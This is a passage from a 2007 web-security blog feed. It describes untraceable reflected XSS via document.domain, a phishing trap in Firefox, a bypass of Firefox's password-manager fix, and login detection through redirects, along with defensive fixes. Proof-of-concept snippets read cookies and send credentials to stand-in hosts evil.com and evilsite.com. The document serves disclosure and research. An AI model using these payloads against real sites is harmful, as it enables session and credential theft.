attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.&lt;br /&gt;&lt;br /&gt;Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.&lt;br /&gt;&lt;br /&gt;But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.&lt;br /&gt;&lt;br /&gt;As &lt;a href="http://adblockplus.org/"&gt;trev&lt;/a&gt; &lt;a href="http://sla.ckers.org/forum/read.php?3,5905"&gt;found out&lt;/a&gt;, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.&lt;br /&gt;&lt;br /&gt;Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.&lt;br /&gt;&lt;br /&gt;The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.&lt;br /&gt;&lt;br /&gt;And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.&lt;br /&gt;&lt;br /&gt;The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:&lt;br /&gt;&lt;br /&gt;attack.php :&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.domain = 'com.';&lt;br /&gt;function logic () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(window.frames[0].document.cookie);&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="go.php" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;go.php :&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=&amp;lt;script&amp;gt;document.domain='com.';window.parent.logic();&amp;lt;/script&amp;gt;"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.&lt;br /&gt;&lt;br /&gt;Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.&lt;br /&gt;&lt;br /&gt;Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[EDIT]:&lt;/b&gt; Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: &lt;a href="http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html"&gt;http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html&lt;/a&gt; so that anyone who has already seen this post will hopefully notice the second one.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5777782690565278765?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5777782690565278765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5777782690565278765' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5777782690565278765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5777782690565278765'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html' title='(Non-Persistent) Untraceable XSS Attacks'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-8962161072113911303</id><published>2007-03-26T17:43:00.000+10:00</published><updated>2007-03-26T18:00:17.392+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Partially stopping sites breaking out of frames in Mozilla</title><content type='html'>I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.&lt;br /&gt;&lt;br /&gt;And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out.  What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.&lt;br /&gt;&lt;br /&gt;Using the idea that I used to implement this; &lt;a href="http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html"&gt;http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html&lt;/a&gt;, it is possible to stop site breaking out of frames.&lt;br /&gt;&lt;br /&gt;Using the following code:&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function test(e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;window.setTimeout ("stop();", 1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;window.onbeforeunload = test;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="http://hackthissite.org/" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.&lt;br /&gt;&lt;br /&gt;So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-8962161072113911303?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/8962161072113911303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=8962161072113911303' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8962161072113911303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8962161072113911303'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/03/partially-stopping-sites-breaking-out.html' title='Partially stopping sites breaking out of frames in Mozilla'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-3040626989563726996</id><published>2007-03-20T19:00:00.000+11:00</published><updated>2007-03-21T06:46:03.855+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Trapping Mozilla For Phishing</title><content type='html'>I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper &lt;a href="http://shampoo.antville.org/stories/1586524"&gt;SessionSafe: Implementing XSS Immune Session Handling&lt;/a&gt; (there's also some discussion about the paper here: &lt;a href="http://sla.ckers.org/forum/read.php?13,7607"&gt;http://sla.ckers.org/forum/read.php?13,7607&lt;/a&gt;), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.&lt;br /&gt;&lt;br /&gt;Before delving into an explanation, here's the code which I'll explain:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function test(e) {&lt;br /&gt; window.setTimeout ("stop();", 1);&lt;br /&gt; window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;window.onbeforeunload = test;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;div id="test2"&amp;gt;Please go to bankofamerica.com&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style="display:none;" id="test"&amp;gt;Please Enter your Login Details here:&lt;br /&gt;&amp;lt;form action="http://evilsite.com/"&amp;gt;&lt;br /&gt;Username: &amp;lt;input name="username"&amp;gt;&lt;br /&gt;Password: &amp;lt;input type="password" name="password"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.&lt;br /&gt;&lt;br /&gt;In our time-outs, we can call the stop() function. &lt;b&gt;When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.&lt;br /&gt;&lt;br /&gt;Simple Enough.&lt;br /&gt;&lt;br /&gt;One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.&lt;br /&gt;&lt;br /&gt;You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.&lt;br /&gt;&lt;br /&gt;Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: &lt;a href="http://lcamtuf.coredump.cx/ietrap/"&gt;http://lcamtuf.coredump.cx/ietrap/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;P.S. This was tested on Firefox 2.0.0.2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-3040626989563726996?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/3040626989563726996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=3040626989563726996' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3040626989563726996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3040626989563726996'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html' title='Trapping Mozilla For Phishing'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6580833566404570335</id><published>2007-02-26T17:47:00.000+11:00</published><updated>2007-03-20T19:21:41.067+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RCSR'/><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>stopgetpass.user.js - an interim solution</title><content type='html'>A couple of days ago &lt;a href="http://kuza55.blogspot.com/2007/02/breaking-firefoxs-rcsr-fix.html"&gt;I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox&lt;/a&gt;. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;for (i=0,c=document.forms.length;i&amp;lt;c;i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (document.forms[i].method == 'get') {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var password = false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (l=0,k=document.forms[i].elements.length;l&amp;lt;k;l++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (document.forms[i].elements[l].type == 'password') {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;password = true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (password == true) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.forms[i].method = "post"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.&lt;br /&gt;&lt;br /&gt;Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.&lt;br /&gt;&lt;br /&gt;I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.&lt;br /&gt;&lt;br /&gt;P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6580833566404570335?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6580833566404570335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6580833566404570335' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6580833566404570335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6580833566404570335'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/stopgetpassuserjs-interim-solution.html' title='stopgetpass.user.js - an interim solution'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4754701457181424248</id><published>2007-02-26T11:19:00.000+11:00</published><updated>2007-02-28T06:48:48.160+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>More Authenticated Redirect Abuse</title><content type='html'>A while ago I wrote two posts entitled &lt;a href="http://kuza55.blogspot.com/2006/12/detecting-logged-in-users.html"&gt;Detecting Logged In Users&lt;/a&gt; and &lt;a href="http://kuza55.blogspot.com/2007/01/more-user-login-detection-via.html"&gt;More Logged In User Detection via Authenticated Redirects&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Today I want to expand a bit more on how Authenticated redirects can be abused.&lt;br /&gt;&lt;br /&gt;I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.&lt;br /&gt;&lt;br /&gt;If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.&lt;br /&gt;&lt;br /&gt;First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;if ($_SESSION['logged_in'] == true) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( is_string($_GET['r']) ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$url_array = parse_url ($_GET['r']);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ($url_array['host'] == $_SERVER['SERVER_NAME']) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header ("Location: " . $_GET['r']);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;die();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Knowing that we can redirect to any resource on the server we can create something like the following:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;img src="http://target.com/redir.php?r=http://target.com/images/logo.png" onload="alert('logged in');" onerror="alert('not logged in');" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.&lt;br /&gt;&lt;br /&gt;Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4754701457181424248?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4754701457181424248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4754701457181424248' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4754701457181424248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4754701457181424248'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/more-authenticated-redirect-abuse.html' title='More Authenticated Redirect Abuse'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4250684321139172518</id><published>2007-02-24T21:02:00.000+11:00</published><updated>2007-02-25T10:07:31.648+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation</title><content type='html'>&lt;b&gt;[EDIT]&lt;/b&gt;(25/02/07): It seems that this method doesn't completely work, so please read the comments to find more info, because otherwise this isn't going to do you any good.&lt;br /&gt;&lt;br /&gt;There's been &lt;a href="http://sla.ckers.org/forum/read.php?13,7019"&gt;a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files&lt;/a&gt;, and having IE detect the content type as text/html rather than the content-type sent by the server. For anyone who isn't familiar with the issue I recommend you read the following post: &lt;a href="http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting"&gt;http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting&lt;/a&gt; Not because its the first mention of it, but its the best and most technical description I've seen.&lt;br /&gt;&lt;br /&gt;Anyway; to take a leaf out of &lt;a href="http://sylvanvonstuppe.blogspot.com/"&gt;Sylvan von Stuppe&lt;/a&gt;'s book, I'd like to recommend a way to do (the equivalent of) output filtering, rather than input validation to stop this issue.&lt;br /&gt;&lt;br /&gt;First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing them to input html.&lt;br /&gt;&lt;br /&gt;In all other situations where we don't need to allow certain html, we can simply encode all output in the appropriate char set, and we're safe.&lt;br /&gt;&lt;br /&gt;And there is no reason we would ever need to allow users to upload images which get interpreted as html files, and therefore served as such.&lt;br /&gt;&lt;br /&gt;So, having established (at least in my view), that output filtering is the way to go; how would we go about doing this without altering the image?&lt;br /&gt;&lt;br /&gt;Well, in this case its easy enough; all we need to do is use a header that IE does respect; the Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.&lt;br /&gt;&lt;br /&gt;There are several way to do this.&lt;br /&gt;&lt;br /&gt;On Apache, the best solution is to use &lt;a href="http://httpd.apache.org/docs/2.0/mod/mod_headers.html"&gt;mod_headers&lt;/a&gt; to send the header for all files in a particular directory, and move all your uploads there.&lt;br /&gt;&lt;br /&gt;Microsoft provides an explanation of how you can achieve the same on IIS here: &lt;a href="http://support.microsoft.com/kb/q260519/"&gt;http://support.microsoft.com/kb/q260519/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can of course, also set PHP or any other server side language as the handler for all the files in a directory, and then use the header() (or similar) function to send the Content-Disposition header tot he browser.&lt;br /&gt;&lt;br /&gt;Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4250684321139172518?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4250684321139172518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4250684321139172518' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4250684321139172518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4250684321139172518'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/fixing-ie-content-type-detection-issues.html' title='Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2122588866120297199</id><published>2007-02-24T16:26:00.000+11:00</published><updated>2007-03-20T19:21:41.068+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RCSR'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Breaking Firefox's RCSR Fix</title><content type='html'>In Firefox 2.0.0.2, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here: &lt;a href="http://www.mozilla.org/security/announce/2007/mfsa2007-02.html"&gt;http://www.mozilla.org/security/announce/2007/mfsa2007-02.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And while their fix for the RCSR issue is good, its not perfect.&lt;br /&gt;&lt;br /&gt;As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.&lt;br /&gt;&lt;br /&gt;Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.&lt;br /&gt;&lt;br /&gt;Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=&amp;lt;img src=http://evil.com/image.jpg&amp;gt; would inject an image into the page.&lt;br /&gt;&lt;br /&gt;What we can then do is inject a form into the page which looks like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;form action="http://site.com/vuln.php" method="get"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input type="text" name="username" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input type="password" name="password" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input type="hidden" name="search" value="&amp;lt;img src='http://evil.com/log.php' /&amp;gt;" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input type="submit" value="Login" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.&lt;br /&gt;&lt;br /&gt;Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2122588866120297199?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2122588866120297199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2122588866120297199' title='2 Comments'/><link rel='edit' type='application/atom+xml' 